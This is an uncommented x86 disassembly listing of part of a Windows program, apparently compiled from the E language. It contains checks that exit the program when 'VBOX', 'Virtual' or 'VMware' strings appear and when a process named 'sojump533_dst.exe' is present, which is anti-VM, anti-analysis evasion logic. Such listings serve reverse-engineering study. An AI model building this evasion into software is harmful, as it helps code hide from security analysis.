fld qword [ebp - 0x7c]
fadd qword [0x525144]
fstp qword [ebp - 0x84]
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5258f8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a5ec
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5258f5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a636
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x525144]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.00401460
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.00401460
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a6b8
mov eax, 0x524f4e
push eax
push 3
mov ebx, 0x434670
call fcn.00433ce5
add esp, 0x28
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
push eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x40a6e8
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x5c], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5258fb
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x40a71d
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fsub qword [0x525003]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
call fcn.00401460
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x40a76e
mov eax, 0x524f4e
push eax
push 2
mov ebx, 0x4345e0
call fcn.00433ce5
add esp, 0x1c
mov dword [ebp - 0x88], eax
push 0
push dword [ebp - 0x88]
push 0xffffffffffffffff
push 8
push 0x160100da
push 0x52010001
call fcn.00433d09
add esp, 0x18
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x40a7b8
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x40a7cb
mov eax, 0x524f4e
push eax
push 1
mov ebx, 0x4342b0
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x74], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5258fb
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x40a812
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
fild dword [ebp - 0x74]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
fild dword [ebp - 0x78]
fstp qword [ebp - 0x88]
fsub qword [ebp - 0x88]
fstp qword [ebp - 0x90]
fld qword [ebp - 0x90]
call fcn.00401460
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x40a86c
mov eax, 0x524f4e
push eax
push 2
mov ebx, 0x434620
call fcn.00433ce5
add esp, 0x1c
mov dword [ebp - 0x94], eax
push 0
push dword [ebp - 0x94]
push 0xffffffffffffffff
push 8
push 0x160100db
push 0x52010001
call fcn.00433d09
add esp, 0x18
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x40a8b6
push ebx
call fcn.00433cf1
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5258fd
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a8e7
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40aaaa
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525906
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a938
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x525144]
fstp qword [ebp - 0x84]
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x524f0c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a994
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525906
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a9de
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x525144]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.00401460
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.00401460
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40aa60
mov eax, 0x524f4e
push eax
push 3
mov ebx, 0x434670
call fcn.00433ce5
add esp, 0x28
mov dword [ebp - 0xa8], eax
push 0
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push 8
push 0x160100dc
push 0x52010001
call fcn.00433d09
add esp, 0x18
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x40aaaa
push ebx
call fcn.00433cf1
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525909
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40aadb
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40adc6
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x525914
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x525909
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x40ab4a
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x40ab5a
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x40ab71
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x60], eax
lea eax, [ebp - 4]
push eax
call fcn.004160a1
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x40ab95
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x64], eax
push 0x524f4e
push dword [ebp - 0x64]
call fcn.004021d4
add esp, 8
cmp eax, 0
jne 0x40abd8
lea eax, [ebp - 4]
push eax
call fcn.004160a1
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x40abd2
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x64], eax
jmp 0x40ab99
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5253a3
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x40abfd
mov eax, 0x524f4e
push eax
push 3
mov ebx, 0x435360
call fcn.00433ce5
add esp, 0x28
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x68]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40ac35
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40ac31
imul eax, dword [ebx]
jmp 0x40ac26
mov ecx, eax
test ecx, ecx
je 0x40ac54
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40ac4d
push ebx
push eax
call fcn.00433cf1
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40ac3b
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x68]
call fcn.0040237c
xor ecx, ecx
push eax
lea eax, [ebp - 0x6c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40ad1f
mov ebx, dword [ebp - 0x68]
call fcn.00402395
push ebx
push ecx
mov eax, dword [ebp - 0x6c]
dec eax
jns 0x40ac9c
push 4
call fcn.00433cd9
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40acaf
push 1
call fcn.00433cd9
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x74]
mov eax, dword [ebx]
test eax, eax
jne 0x40acde
mov eax, 0x524f4e
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x64]
test eax, eax
jne 0x40acf2
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xffffffff
je 0x40ad17
jmp 0x40ad1f
pop eax
pop ebx
pop ecx
jmp 0x40ac71
add esp, 0xc
cmp dword [ebp - 0x70], 0xffffffff
jne 0x40adc6
mov dword [0x5ffc64], 0
push 0x525917
push dword [ebp - 0x64]
push 0x52593c
mov ecx, 3
call fcn.0040106f
add esp, 0xc
mov dword [ebp - 0x74], eax
mov ebx, 6
call fcn.00402374
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x40ad7c
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4371f0
call fcn.00433ce5
add esp, 0x34
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40ad9f
push ebx
call fcn.00433cf1
add esp, 4
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x16010010
push 0x52010001
call fcn.00433d09
add esp, 0x18
push 0
call fcn.00433d03
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525941
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40adf7
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40af6b
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.VBOX
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5ffc84]
test eax, eax
jne 0x40ae4a
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
jne 0x40af20
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.Virtual
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5ffc84]
test eax, eax
jne 0x40ae9d
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xffffffff
jne 0x40af20
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.VMware
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5ffc84]
test eax, eax
jne 0x40aef6
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xffffffff
jne 0x40af20
xor eax, eax
jmp 0x40af25
mov eax, 1
test eax, eax
je 0x40af6b
mov ebx, 6
call fcn.00402374
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525963
push 4
mov ebx, 0x4371f0
call fcn.00433ce5
add esp, 0x34
push 0
call fcn.00433d03
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525974
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40af9c
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40b0e7
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x74], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.test
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x40b006
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40b02c
push ebx
call fcn.00433cf1
add esp, 4
cmp dword [ebp - 0x78], 0xffffffff
je 0x40b09c
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x80], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x40b062
mov eax, 0x524f4e
push eax
push 1
mov ebx, 0x4342b0
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x40b08b
push ebx
call fcn.00433cf1
add esp, 4
cmp dword [ebp - 0x84], 4
jne 0x40b09c
xor eax, eax
jmp 0x40b0a1
mov eax, 1
test eax, eax
je 0x40b0e7
mov ebx, 6
call fcn.00402374
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525984
push 4
mov ebx, 0x4371f0
call fcn.00433ce5
add esp, 0x34
push 0
call fcn.00433d03
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5259ad
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40b118
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40b255
push 0
mov ebx, 0x434310
call fcn.00433ce5
add esp, 4
mov dword [ebp - 0x74], eax
push str.sojump533_dst.exe
push dword [ebp - 0x74]
call fcn.004021d4
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40b17b
push ebx
call fcn.00433cf1
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x40b1d6
mov dword [0x5ffc64], 0
mov dword [ebp - 0x74], esp
push 0x7d0
push 0
push 0x40
push 0x525208
push 0x5259c8
push 0
mov eax, 0x12
call fcn.00433cdf
cmp dword [ebp - 0x74], esp
je 0x40b1cc
push 6
call fcn.00433cd9
add esp, 4
push 0
call fcn.00433d03
add esp, 4
mov eax, str.sojump533_dst.exe
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x74]
push eax
call fcn.004162cd
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40b1fa
push ebx
call fcn.00433cf1
add esp, 4
cmp dword [ebp - 0x78], 1
jle 0x40b255
mov dword [0x5ffc64], 0
mov dword [ebp - 0x74], esp
push 0x7d0
push 0
push 0x40
push 0x525208
push 0x5259f9
push 0
mov eax, 0x12
call fcn.00433cdf
cmp dword [ebp - 0x74], esp
je 0x40b24b
push 6
call fcn.00433cd9
add esp, 4
push 0
call fcn.00433d03
add esp, 4
call fcn.004165e7
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40b26a
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40b27a
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40b28a
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40b29a
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40b2aa
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40b2c8
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40b2c4
imul eax, dword [ebx]
jmp 0x40b2b9
mov ecx, eax
test ecx, ecx
je 0x40b2e7
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40b2e0
push ebx
push eax
call fcn.00433cf1
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40b2ce
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40b2ff
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x40b30f
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x40b31f
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40b32f
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40b33f
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40b34f
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x40b35f